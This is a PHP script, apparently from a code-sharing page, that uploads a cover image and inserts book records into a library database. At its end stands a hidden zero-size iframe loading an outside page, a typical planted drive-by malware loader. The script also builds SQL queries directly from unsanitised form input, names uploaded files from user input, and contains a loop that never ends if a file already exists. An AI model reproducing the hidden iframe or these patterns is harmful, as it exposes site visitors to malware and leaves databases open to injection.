?? xsrkcl.php
字號:
<?php //插入圖書數據
include "../config.php";
?>
<?php
function getname($exname){
$dir = "uploadfile/";
$i=$_POST["no"];
if(!is_dir($dir)){
mkdir($dir,0777);
}
while(true){
if(!is_file($dir.$i.".".$exname)){
$name=$i.".".$exname;
break;
}
}
// echo $dir.$name;
return $dir.$name;
}
$exname=strtolower(substr($_FILES['coverphoto']['name'],(strrpos($_FILES['coverphoto']['name'],'.')+1)));
//顯示上傳文件的后綴名
if (($exname =="jpg") or ($exname =="jpeg") or ($exname =="gif") or ($exname =="JPG") or ($exname =="GIF"))
{
$uploadfile = getname($exname);
//
if (move_uploaded_file($_FILES['coverphoto']['tmp_name'], $uploadfile))
{
// $strJS .="<SCRIPT language=javascript>";
// $strJS .="parent.HtmlEdit.focus();";
// $strJS .="var range = parent.HtmlEdit.document.selection.createRange();";
//echo $exname;
switch ($exname){
case "gif":
// $strJS .="range.pasteHTML(<img src=".$uploadfile.">);";
$strJS .="<img src=".$uploadfile.">";
break;
case "jpg":
// $strJS .="range.pasteHTML(<img src=".$uploadfile.">);";
$strJS .="<img src=".$uploadfile.">";
break;
case "JPG":
// $strJS .="range.pasteHTML(<img src=".$uploadfile.">);";
$strJS .="<img src=".$uploadfile.">";
break;
case "GIF":
// $strJS .="range.pasteHTML(<img src=".$uploadfile.">);";
$strJS .="<img src=".$uploadfile.">";
break;
case "jpeg":
// $strJS .="range.pasteHTML(<img src=".$uploadfile.">);";
$strJS .="<img src=".$uploadfile.">";
break;
}
//$strJS .="alert('文件上傳成功!');";
//$strJS .="history.go(-1);";
//$strJS .="parent.HtmlEdit.focus();";
/* $strJS .="</script>"; */
//echo htmlspecialchars($strJS);
//echo $_FILES['FileName']['tmp_name'];
} else {
echo "<script language='javascript'>alert('文件上傳失敗!');history.go(-1);</script>";
}
}else{
echo "<script language='javascript'>alert('圖片格式不對!');history.go(-1);</script>";
}
?>
<?php
if(!empty($_POST[submit]))
{
$no=$_POST["no"];
$bookname=$_POST["bookname"];
$category=$_POST["category"];
$author=$_POST["author"];
$press=$_POST["press"];
$pubdate=$_POST["pubdate"];
$page=$_POST["page"];
$location=$_POST["location"];
$intodate=date("Y-m-d");
$price=$_POST["price"];
$amount=$_POST["amount"];
$lendnumber=0;
$state=$_POST["state"];
$intro=$_POST["intro"];
$coverphoto=$strJS;
if(empty($no))
{
echo "<script language='javascript'>alert('圖書編號不能為空');history.go(-1);</script>";
}
if(empty($bookname))
{
echo "<script language='javascript'>alert('圖書名稱不能為空');history.go(-1);</script>";
}
if(empty($page))
{
$page=0;
}
if(empty($amount))
{
$amount=1;
}
$s="select no,bookname from books where no='$no' or bookname='$bookname'";
$result=mysql_query($s);
$row=mysql_fetch_array($result);
if($row)
{
echo "<script language='javascript'>alert('圖書編號或圖書名稱重復,請重新輸入!');history.go(-1);</script>";
}
else
{
$sql="insert into bookmanagement.books(`id`,`no`,`bookname`,`category`,`author`,`press`,`pubdate`,`page`,`location`,`intodate`,`price`,`amount`,`lendnumber`,`state`,`intro`,`coverphoto`) values(null,'$no','$bookname','$category','$author','$press','$pubdate','$page','$location','$intodate','$price','$amount','$lendnumber','$state','$intro','$coverphoto')";
$result=mysql_query($sql) or die(mysql_error());
if($result)
{
echo "<script language='javascript'>alert('入庫成功!'); window.location.href='xsrk.php';</script>";
}
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -